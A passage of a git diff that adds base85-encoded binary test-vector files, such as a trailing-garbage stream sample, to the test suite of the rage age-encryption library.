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 ZEdTD$V#m&rv@<78Xw>rg6HHqj=ICY1fN}r; literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short b/lib/rage/age/tests/testdata/testkit/stream_trailing_garbage_short new file mode 100644 index 0000000000000000000000000000000000000000..733e401fe69ea1f273c3f26276ea54daa3b6830d GIT binary patch literal 65975 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 